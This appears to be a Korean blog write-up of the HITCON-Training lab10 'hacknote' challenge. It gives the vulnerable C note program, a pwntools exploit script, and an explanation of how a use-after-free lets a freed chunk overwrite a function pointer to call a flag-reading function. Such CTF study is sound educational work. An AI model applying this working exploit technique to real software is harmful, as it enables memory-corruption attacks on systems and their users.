System/Hitcon training

190422-lab10

WS-_K 2019. 4. 22. 21:12

hacknote.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
 
struct note {
        void (*printnote)();
        char *content ;
};
 
struct note *notelist[5];
int count = 0;
 
void print_note_content(struct note *this){
        puts(this->content);
}
void add_note(){
        int i ;
        char buf[8];
        int size ;
        if(count > 5){
                puts("Full");
                return ;
        }
        for(i = 0 ; i < 5 ; i ++){
                if(!notelist[i]){
                        notelist[i] = (struct note*)malloc(sizeof(struct note));
                        if(!notelist[i]){
                                puts("Alloca Error");
                                exit(-1);
                        }
                        notelist[i]->printnote = print_note_content;
                        printf("Note size :");
                        read(0,buf,8);
                        size = atoi(buf);
                        notelist[i]->content = (char *)malloc(size);
                        if(!notelist[i]->content){
                                puts("Alloca Error");
                                exit(-1);
                        }
                        printf("Content :");
                        read(0,notelist[i]->content,size);
                        puts("Success !");
                        count++;
                        break;
                }
        }
}
 
void del_note(){
        char buf[4];
        int idx ;
        printf("Index :");
        read(0,buf,4);
        idx = atoi(buf);
        if(idx < 0 || idx >= count){
                puts("Out of bound!");
                _exit(0);
        }
        if(notelist[idx]){
                free(notelist[idx]->content);
                free(notelist[idx]);
                puts("Success");
        }
}
 
void print_note(){
        char buf[4];
        int idx ;
        printf("Index :");
        read(0,buf,4);
        idx = atoi(buf);
        if(idx < 0 || idx >= count){
                puts("Out of bound!");
                _exit(0);
        }
        if(notelist[idx]){
                notelist[idx]->printnote(notelist[idx]);
        }
}
 
void magic(){
        system("cat /home/hacknote/flag");
}
 
 
void menu(){
        puts("----------------------");
        puts("       HackNote       ");
        puts("----------------------");
        puts(" 1. Add note          ");
        puts(" 2. Delete note       ");
        puts(" 3. Print note        ");
        puts(" 4. Exit              ");
        puts("----------------------");
        printf("Your choice :");
};
 
int main(){
        setvbuf(stdout,0,2,0);
        setvbuf(stdin,0,2,0);
        char buf[4];
        while(1){
                menu();
                read(0,buf,4);
                switch(atoi(buf)){
                        case 1 :
                                add_note();
                                break ;
                        case 2 :
                                del_note();
                                break ;
                        case 3 :
                                print_note();
                                break ;
                        case 4 :
                                exit(0);
                                break ;
                        default :
                                puts("Invalid choice");
                                break ;
 
                }
        }
        return 0;
}
 
http://colorscripter.com/info#e" target="_blank" style="color:#4f4f4f; text-decoration:none">Colored by Color Scripter

보호기법 확인


slv.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from pwn import *
 
= process('./hacknote')
magic_Addr = 0x8048986
 
def payload_Add(size, content):
        p.recvuntil('Your choice :')
 
        sleep(0.1)
        payload = ''
        payload += '1'
        p.send(payload)
 
        sleep(0.1)
        p.recvuntil(':')
        payload = ''
        payload += str(size)
        p.send(payload)
 
        p.recvuntil(':')
        sleep(0.1)
        payload = ''
        payload += content
        p.send(payload)
        sleep(0.1)
        return  p.recvuntil('\n')
 
def payload_Del(index):
        p.recvuntil(':')
 
        sleep(0.1)
        payload = ''
        payload += '2'
        p.send(payload)
 
        p.recvuntil(':')
        sleep(0.1)
        payload = ''
        payload += str(index)
        p.send(payload)
        sleep(0.1)
        return  p.recvuntil('\n')
 
def payload_Print(index):
        p.recvuntil('Your choice :')
 
        sleep(0.1)
        payload = ''
        payload += '3'
        p.send(payload)
        sleep(0.1)
 
        p.recvuntil(':')
        payload = ''
        payload += str(index)
        p.send(payload)
        sleep(0.1)
        return  p.recvuntil('\n')
 
def main():
        # A1: malloc(8), B1: malloc(16)
        payload_Add(16,'abcdefg')
        # A2: malloc(8), B2: malloc(16)
        payload_Add(16,'abcdefg')
        # free(A1), free(B1)
        payload_Del(0)
        # free(A2), free(B2)
        payload_Del(1)
        # A2: malloc(8), A1: malloc(8)
        payload_Add(8,p32(magic_Addr))
        flag = payload_Print(0)
        log.info('flag :' + flag)
 
 
if __name__ =='__main__':
        main()
 
http://colorscripter.com/info#e" target="_blank" style="color:#4f4f4f; text-decoration:none">Colored by Color Scripter

해당 소스를 보게 되면 정말 허술한 부분이 많은 코드다. del_note에서는 free만 해줄뿐 주소값의 값을 0으로 만들어 주지 않아서 add_note에서 free된 notelist를 if문에서 걸러내지 못한다.

 

취약점은 Use After Free를 이용해 print_note함수를 부를 때 magic함수로 가게 끔 payload를 짰다.

각 1,2,3번에 해당하는 payload함수를 짜서 돌렸고 def main()부분을 보게 되면 A1, A2는 struct부분 B1, B2는 Content부분이다. 따라서 A1, A2는 malloc(8)에 해당하기 때문에 Add를 2번 실행하고 Delete를 2번 해주면

size(8): A2→A1→0

size(16): B2→B1→0

이렇게 연결리스트가 형성이 되기 때문에 다시한번 Add를 할때 size를 8로 잡아주면 struct부분에는 A2가 들어가고 Content부분에는 A1이 들어가게 된다. 따라서 Content부분에 magic함수의 주소값을 넣어주고 print_note에 A1에 해당하는 index를 넣어주면 magic함수가 실행되게 되는 것이다.


Exploit Flow

 

1. hacknote.c의 함수별 payload작성

2. size:16인 note를 2개 생성 및 삭제

3. size:8인 note를 생성 Content는 magic함수의 주소

4. index에 0을 넣은 print_note함수 실행

5. magic함수 실행

6. exploit